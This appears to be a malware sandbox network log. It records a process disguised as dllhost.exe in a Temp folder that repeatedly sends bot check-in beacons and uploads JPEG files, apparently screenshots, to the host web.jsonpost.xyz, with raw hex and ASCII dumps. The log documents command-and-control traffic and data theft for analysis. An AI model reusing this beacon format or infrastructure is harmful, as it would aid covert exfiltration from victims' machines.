Nov 29, 2024 01:52:24.368957043 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:24.368984938 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:24.369057894 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:24.369090080 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:24.489129066 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:24.489182949 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:24.489314079 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:24.489387989 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:24.489593029 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:24.609252930 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:52:24.609410048 CET	4944	OUT	Data Raw: 1d 09 af 3b db 62 7f e7 e3 ff 00 c0 bf e0 9e c7 d5 70 7f f3 e9 7f e0 3f f0 0f 2f d4 74 eb 8d 32 ed ad ae 17 0c bd 08 e8 c3 d4 55 4a ed bc 51 02 cd e1 9b 2d 4c 5d 4f 32 ce 63 68 c4 c9 18 2a ae a5 bf 84 75 e9 df 15 c4 d7 d1 e0 71 12 af 4a f3 5a a7 Data Ascii: ;bp?/t2UJQ-L]O2ch*uqJZcs\$0iu((JZ(QE%QEQELQEQEQEJ(@)(QAQECEPIKI%-%;QEQIK@QEE0(%-(0J(J)))i(-%R)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:24.654834032 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:25.906521082 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:25.906553030 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:25.906605005 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:25.906630993 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:26.026796103 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:26.026918888 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:26.026945114 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:26.027029991 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:26.027069092 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:26.027143002 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:26.027158022 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49766	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:26.062485933 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:27.484153032 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49768	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:27.529521942 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:27.529521942 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:27.529587030 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:27.529613018 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:27.649715900 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:27.649736881 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:27.649821043 CET	4944	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:27.649888039 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:27.649926901 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:27.650063992 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:27.650165081 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:28.908432961 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:29.120588064 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:29.120625019 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:29.120682955 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:29.120707035 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:29.240792036 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:29.240974903 CET	7416	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:29.240998030 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:29.241027117 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
